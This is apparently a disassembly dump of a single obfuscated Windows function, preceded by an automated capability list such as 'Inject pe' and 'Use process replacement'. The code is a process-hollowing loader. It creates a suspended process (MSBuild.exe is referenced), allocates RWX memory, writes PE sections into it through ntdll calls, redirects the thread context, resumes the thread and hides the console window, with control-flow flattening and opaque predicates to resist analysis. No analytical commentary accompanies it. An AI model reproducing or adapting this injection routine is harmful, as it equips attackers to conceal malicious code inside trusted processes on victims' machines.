Function at 0x10003ae0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x12c
mov eax, dword [0x1006cc00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x12e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x12d], al
mov dword [ebp - 0x134], 0x8dd4c937
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x138], eax
sub eax, 0x82a77aee
je 0x10004fb7
jmp 0x10003b53
mov eax, dword [ebp - 0x138]
sub eax, 0x83e754e2
je 0x10004d4b
jmp 0x10003b69
mov eax, dword [ebp - 0x138]
sub eax, 0x84828d01
je 0x10006815
jmp 0x10003b7f
mov eax, dword [ebp - 0x138]
sub eax, 0x862e9130
je 0x10007142
jmp 0x10003b95
mov eax, dword [ebp - 0x138]
sub eax, 0x873c3d2e
je 0x1000528e
jmp 0x10003bab
mov eax, dword [ebp - 0x138]
sub eax, 0x88b71fc7
je 0x1000515a
jmp 0x10003bc1
mov eax, dword [ebp - 0x138]
sub eax, 0x8dd4c937
je 0x100048d6
jmp 0x10003bd7
mov eax, dword [ebp - 0x138]
sub eax, 0x8dee960d
je 0x100058bd
jmp 0x10003bed
mov eax, dword [ebp - 0x138]
sub eax, 0x8ebf1acb
je 0x1000696c
jmp 0x10003c03
mov eax, dword [ebp - 0x138]
sub eax, 0x8efa4d59
je 0x10005169
jmp 0x10003c19
mov eax, dword [ebp - 0x138]
sub eax, 0x8f27c2e5
je 0x10005d94
jmp 0x10003c2f
mov eax, dword [ebp - 0x138]
sub eax, 0x8fa5012d
je 0x10005fd7
jmp 0x10003c45
mov eax, dword [ebp - 0x138]
sub eax, 0x90485b1d
je 0x10005903
jmp 0x10003c5b
mov eax, dword [ebp - 0x138]
sub eax, 0x907f81c4
je 0x10005c9e
jmp 0x10003c71
mov eax, dword [ebp - 0x138]
sub eax, 0x927201cb
je 0x100057f1
jmp 0x10003c87
mov eax, dword [ebp - 0x138]
sub eax, 0x944be2bd
je 0x10006dd3
jmp 0x10003c9d
mov eax, dword [ebp - 0x138]
sub eax, 0x96a450d9
je 0x10005ee5
jmp 0x10003cb3
mov eax, dword [ebp - 0x138]
sub eax, 0x9aba23bf
je 0x1000705d
jmp 0x10003cc9
mov eax, dword [ebp - 0x138]
sub eax, 0xa323b13e
je 0x1000715d
jmp 0x10003cdf
mov eax, dword [ebp - 0x138]
sub eax, 0xa4405ee2
je 0x100062b0
jmp 0x10003cf5
mov eax, dword [ebp - 0x138]
sub eax, 0xa467ea9a
je 0x100070e0
jmp 0x10003d0b
mov eax, dword [ebp - 0x138]
sub eax, 0xa8c89068
je 0x10006611
jmp 0x10003d21
mov eax, dword [ebp - 0x138]
sub eax, 0xa8cbc783
je 0x1000654f
jmp 0x10003d37
mov eax, dword [ebp - 0x138]
sub eax, 0xa8f39ee4
je 0x10006bdf
jmp 0x10003d4d
mov eax, dword [ebp - 0x138]
sub eax, 0xad16e611
je 0x1000627b
jmp 0x10003d63
mov eax, dword [ebp - 0x138]
sub eax, 0xb21c35da
je 0x10005a10
jmp 0x10003d79
mov eax, dword [ebp - 0x138]
sub eax, 0xb2502f8a
je 0x10005acc
jmp 0x10003d8f
mov eax, dword [ebp - 0x138]
sub eax, 0xb3477a6a
je 0x10005894
jmp 0x10003da5
mov eax, dword [ebp - 0x138]
sub eax, 0xb449d0de
je 0x1000639c
jmp 0x10003dbb
mov eax, dword [ebp - 0x138]
sub eax, 0xb7446f70
je 0x10005103
jmp 0x10003dd1
mov eax, dword [ebp - 0x138]
sub eax, 0xb7d7c21b
je 0x10006d7b
jmp 0x10003de7
mov eax, dword [ebp - 0x138]
sub eax, 0xb82434eb
je 0x10006b16
jmp 0x10003dfd
mov eax, dword [ebp - 0x138]
sub eax, 0xba60ae85
je 0x100070b9
jmp 0x10003e13
mov eax, dword [ebp - 0x138]
sub eax, 0xbc3d3c23
je 0x100051d7
jmp 0x10003e29
mov eax, dword [ebp - 0x138]
sub eax, 0xc01de91b
je 0x10006eb3
jmp 0x10003e3f
mov eax, dword [ebp - 0x138]
sub eax, 0xc0755cc5
je 0x10006481
jmp 0x10003e55
mov eax, dword [ebp - 0x138]
sub eax, 0xc45519ab
je 0x100064ec
jmp 0x10003e6b
mov eax, dword [ebp - 0x138]
sub eax, 0xc4ecf640
je 0x100057d7
jmp 0x10003e81
mov eax, dword [ebp - 0x138]
sub eax, 0xc579d652
je 0x10005414
jmp 0x10003e97
mov eax, dword [ebp - 0x138]
sub eax, 0xc7107c20
je 0x100066f4
jmp 0x10003ead
mov eax, dword [ebp - 0x138]
sub eax, 0xc79e92a3
je 0x1000664b
jmp 0x10003ec3
mov eax, dword [ebp - 0x138]
sub eax, 0xc8ddf6bc
je 0x1000508d
jmp 0x10003ed9
mov eax, dword [ebp - 0x138]
sub eax, 0xc91b950f
je 0x10006e92
jmp 0x10003eef
mov eax, dword [ebp - 0x138]
sub eax, 0xca18b443
je 0x10006a77
jmp 0x10003f05
mov eax, dword [ebp - 0x138]
sub eax, 0xcaffa5e4
je 0x1000655e
jmp 0x10003f1b
mov eax, dword [ebp - 0x138]
sub eax, 0xcd0aaff4
je 0x10006421
jmp 0x10003f31
mov eax, dword [ebp - 0x138]
sub eax, 0xce5078cd
je 0x100071cb
jmp 0x10003f47
mov eax, dword [ebp - 0x138]
sub eax, 0xcea2f4b9
je 0x100058d7
jmp 0x10003f5d
mov eax, dword [ebp - 0x138]
sub eax, 0xcf60741e
je 0x10006e41
jmp 0x10003f73
mov eax, dword [ebp - 0x138]
sub eax, 0xcf967dc8
je 0x100061d0
jmp 0x10003f89
mov eax, dword [ebp - 0x138]
sub eax, 0xd44426d5
je 0x1000552d
jmp 0x10003f9f
mov eax, dword [ebp - 0x138]
sub eax, 0xd85c9a62
je 0x100070fe
jmp 0x10003fb5
mov eax, dword [ebp - 0x138]
sub eax, 0xdb4c5422
je 0x10006144
jmp 0x10003fcb
mov eax, dword [ebp - 0x138]
sub eax, 0xdc0dacfe
je 0x10005ddc
jmp 0x10003fe1
mov eax, dword [ebp - 0x138]
sub eax, 0xddf7dc07
je 0x10005f59
jmp 0x10003ff7
mov eax, dword [ebp - 0x138]
sub eax, 0xe234c43e
je 0x10004eba
jmp 0x1000400d
mov eax, dword [ebp - 0x138]
sub eax, 0xe3567370
je 0x10004e75
jmp 0x10004023
mov eax, dword [ebp - 0x138]
sub eax, 0xe51b2d49
je 0x10007086
jmp 0x10004039
mov eax, dword [ebp - 0x138]
sub eax, 0xe6eb038a
je 0x10006bee
jmp 0x1000404f
mov eax, dword [ebp - 0x138]
sub eax, 0xec1b1f6f
je 0x10004edb
jmp 0x10004065
mov eax, dword [ebp - 0x138]
sub eax, 0xecd458fd
je 0x10006f87
jmp 0x1000407b
mov eax, dword [ebp - 0x138]
sub eax, 0xf0c0ef03
je 0x1000558a
jmp 0x10004091
mov eax, dword [ebp - 0x138]
sub eax, 0xf5292013
je 0x10005ec8
jmp 0x100040a7
mov eax, dword [ebp - 0x138]
sub eax, 0xf9b46be4
je 0x100063ab
jmp 0x100040bd
mov eax, dword [ebp - 0x138]
sub eax, 0xfa9a8bc3
je 0x100049bb
mov bl, byte [ebp - 0x12e]
mov dh, byte [ebp - 0x12d]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4323749f
mov ecx, 0x2b293cd2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov dword [ebp - 0x134], 0x4635a1e
jmp 0x1000729e
mov eax, dword [ebp - 0xa8]
cmp dword [eax + 0x70], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x114]
mov byte [eax], cl
mov eax, dword [ebp - 0x110]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0xa1], al
mov dword [ebp - 0x134], 0xe234c43e
jmp 0x1000729e
mov dl, byte [ebp - 0xa1]
mov eax, 0xec1b1f6f
mov ecx, 0xc8ddf6bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
mov edx, ecx
sub edx, 0x2f8dd6bc
sub edx, 1
add edx, 0x2f8dd6bc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x18d6780f
mov ecx, 0x65dfcc49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
add edx, 0x716bd779
sub edx, 1
sub edx, 0x716bd779
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x419457d2
mov ecx, 0x5903b11c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
mov edx, ecx
sub edx, 0xc84c3dfd
sub edx, 1
add edx, 0xc84c3dfd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xecd458fd
mov ecx, 0xb7446f70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xecd458fd
mov ecx, 0x88b71fc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov dword [ebp - 0x134], 0x8efa4d59
jmp 0x1000729e
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7593f772
mov ecx, 0xbc3d3c23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0xa0]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x99], al
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7593f772
mov ecx, 0x873c3d2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov dl, byte [ebp - 0x99]
mov eax, 0x33762fb2
mov ecx, 0xfdd046c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp - 0x104]
mov edx, dword [ebp - 0x8c]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x134], 0x4ddc4de2
jmp 0x1000729e
mov eax, dword [ebp - 0xf4]
mov dword [eax], 0
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
add edx, 0xde06b843
sub edx, 1
sub edx, 0xde06b843
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3c36cf0b
mov ecx, 0xf0c0ef03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov dword [ebp - 0x134], 0x59536b1f
jmp 0x1000729e
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x134], 0x927201cb
jmp 0x1000729e
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x80]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xf4]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
add ecx, 0x35c51f43
add ecx, edx
sub ecx, 0x35c51f43
mov edx, dword [ebp - 0x108]
mov edx, dword [edx]
mov esi, dword [ebp - 0xf8]
mov esi, dword [esi]
mov edi, dword [ebp - 0xf4]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0xd364ce40
add edx, esi
add edx, 0xd364ce40
mov esi, dword [ebp - 0x11c]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x134], 0xb3477a6a
jmp 0x1000729e
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x134], 0x8dee960d
jmp 0x1000729e
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x7c]
mov dword [eax], ecx
mov dword [ebp - 0x134], 0x59536b1f
jmp 0x1000729e
mov eax, dword [ebp - 0xf0]
mov dword [eax], 0
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x134], 0x90485b1d
jmp 0x1000729e
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
mov edx, ecx
sub edx, 0x9a74cfd5
sub edx, 1
add edx, 0x9a74cfd5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9aba23bf
mov ecx, 0x4c9ee050
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x134], 0x6d424163
jmp 0x1000729e
mov edx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x60]
xor eax, eax
sub eax, ecx
sub edx, eax
mov eax, dword [ebp - 0x11c]
mov esi, dword [eax]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xe8]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100038a0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov esi, dword [eax]
mov eax, dword [ebp - 0xe8]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x2da5e463
mov ecx, 0x5427f9df
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov dword [ebp - 0x134], 0xb21c35da
jmp 0x1000729e
mov dl, byte [ebp - 0x4a]
mov eax, 0xc7107c20
mov ecx, 0x20c37521
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov dl, byte [ebp - 0x49]
mov eax, 0xc7107c20
mov ecx, 0x3e8ade39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x134], 0x96a450d9
jmp 0x1000729e
mov edx, dword [ebp - 0x48]
mov eax, 0xc79e92a3
mov ecx, 0x24743ca7
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0x7d1e2778
sub ecx, eax
sub ecx, 0x7d1e2778
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov dword [eax], 0
mov dword [ebp - 0x134], 0x337ab12d
jmp 0x1000729e
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
add edx, 0xd0b71e82
sub edx, 1
sub edx, 0xd0b71e82
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1ec4804b
mov ecx, 0x5b4f0aee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x32], ax
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
add edx, 0x34a69026
sub edx, 1
sub edx, 0x34a69026
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xba60ae85
mov ecx, 0xcf967dc8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov dword [ebp - 0x134], 0x225ce962
jmp 0x1000729e
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx]
add ecx, 0x623b99dc
add ecx, eax
sub ecx, 0x623b99dc
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov dword [ebp - 0x134], 0xa4405ee2
jmp 0x1000729e
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov edx, dword [eax]
mov eax, dword [ebp - 0xcc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x134], 0x57d1aa85
jmp 0x1000729e
mov dword [ebp - 0x134], 0xf9b46be4
jmp 0x1000729e
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
mov edx, ecx
sub edx, 0xff9855e6
sub edx, 1
add edx, 0xff9855e6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6e464929
mov ecx, 0xcd0aaff4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
add edx, 0x938c9cdf
sub edx, 1
sub edx, 0x938c9cdf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6e464929
mov ecx, 0x39e4cc9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x134], 0x1284f4e4
jmp 0x1000729e
mov ecx, dword [ebp - 0x30]
sub ecx, 0xfa07a438
add ecx, 1
add ecx, 0xfa07a438
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd85c9a62
mov ecx, 0xa8cbc783
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov dword [ebp - 0x134], 0x337ab12d
jmp 0x1000729e
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
add edx, 0x90987638
sub edx, 1
sub edx, 0x90987638
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x862e9130
mov ecx, 0x7b6060b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov dword [ebp - 0x134], 0x7dbc278d
jmp 0x1000729e
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa323b13e
mov ecx, 0x1bc9120c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
mov edx, ecx
sub edx, 0x40a64ed2
sub edx, 1
add edx, 0x40a64ed2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x375a8475
mov ecx, 0x14b4466e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov edx, dword [ebp - 0x24]
mov eax, 0x446be49c
mov ecx, 0x299030ff
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x134], 0x49c59b83
jmp 0x1000729e
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov dword [ebp - 0x134], 0x8ebf1acb
jmp 0x1000729e
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
sub ecx, 0x4504fdc1
add ecx, eax
add ecx, 0x4504fdc1
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x47871111
mov ecx, 0xa8f39ee4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov dword [ebp - 0x134], 0xe6eb038a
jmp 0x1000729e
mov eax, dword [ebp - 0x14]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x134], 0x4107df84
jmp 0x1000729e
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x21edd758
mov ecx, 0x3260037f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1c2862e1
mov ecx, 0xcf60741e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
add edx, 0xcc3c1dd3
sub edx, 1
sub edx, 0xcc3c1dd3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1c2862e1
mov ecx, 0xc91b950f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000729e
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10007840
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
